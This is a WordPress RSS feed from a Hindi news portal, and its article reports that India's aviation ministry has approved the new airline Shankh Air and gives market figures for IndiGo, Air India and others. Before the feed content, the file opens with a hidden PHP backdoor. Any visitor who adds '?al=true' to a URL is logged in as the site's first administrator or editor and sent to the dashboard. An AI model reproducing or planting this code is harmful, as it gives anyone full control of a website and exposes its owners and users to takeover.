// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Shankh Air – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 25 Sep 2024 09:56:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सरकार ने शंख एयर को ऑपरेशन शुरू करने की अनुमति दी, इंडिगो और एयर इंडिया को देगी टक्कर https://pratyushaashakinayikiran.com/?p=74917 Wed, 25 Sep 2024 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=74917 नई दिल्ली
देश के एविएशन सेक्टर में एक नई एयरलाइन उड़ान भरने को तैयार है। नागरिक उड्डयन मंत्रालय ने देश की सबसे नई एयरलाइन शंख एयर को अपना ऑपरेशन शुरू करने के लिए मंजूरी दे दी है। हालांकि, आधिकारिक तौर पर उड़ानें शुरू करने से पहले एयरलाइन को एविएशन रेगुलेटर DGCA से मंजूरी की आवश्यकता होगी। यह उत्तर प्रदेश की पहली शेड्यूल्ड एयरलाइन होगी जिसका हब लखनऊ और नोएडा में होगा। कंपनी की वेबसाइट के अनुसार एयरलाइन का लक्ष्य देश के प्रमुख शहरों को जोड़ना है। कंपनी का फोकस उन रूट्स पर रहेगा जहां डिमांड ज्यादा है और विकल्प कम हैं।

विमानन मंत्रालय ने कहा कि कंपनी को एफडीआई आदि से जुड़े प्रावधानों और नियमों का पालन करने का निर्देश दिया गया है। परिचालन के लिए दी गई एनओसी तीन साल की अवधि के लिए वैध होगी। अभी इंडिगो देश की सबसे बड़ी एयरलाइन है। भारत के विमानन बाजार में उसकी 63% हिस्सेदारी है। इस बीच टाटा ग्रुप का हिस्सा बन चुकी दूसरी सबसे बड़ी एयरलाइन एयर इंडिया भी तेजी से विस्तार कर रही है। नवंबर में विस्तारा इसमें मर्ज हो जाएगी। साथ ही एयर इंडिया एयरएशिया इंडिया का भी अधिग्रहण कर रही है और एयर इंडिया एक्सप्रेस का भी विलय कर रही है।

विमानन सलाहकार फर्म CAPA इंडिया की एक रिपोर्ट के अनुसार भारत दुनिया का तीसरा बड़ा घरेलू विमानन बाजार है। वित्त वर्ष 2024 में देश में एयर पैसेंजर ट्रैफिक में 15% की मजबूत वृद्धि दर्ज की। चालू वित्त वर्ष में घरेलू हवाई यातायात में 6-8% की वृद्धि होने का अनुमान है। इसके साथ ही यह 161 से 164 मिलियन पैसेंजर तक पहुंच जाएगा। इसी तरह इंटरनेशनल ट्रैफिक में 9-11% की वृद्धि होने की उम्मीद है। यह मार्च 2025 तक 75 से 78 मिलियन पैसेंजर तक पहुंच जाएगा।

हालांकि देश में एयरलाइन बिजनस आसान नहीं है। पिछले एक दशक में कई हाई-प्रोफाइल एयरलाइन बंद हो चुकी हैं। इसमें किंगफिशर एयरलाइंस, जेट एयरवेज और गो फर्स्ट शामिल हैं। स्पाइसजेट भी अपना वजूद बचाने के लिए संघर्ष कर रही है। CAPA India का अनुमान है कि भारतीय एयरलाइन कंपनियां मार्च 2025 के अंत तक अपने बेड़े में 84 नए विमान शामिल करेंगी। इससे घरेलू सेवा में विमानों की कुल संख्या 812 हो जाएगी।

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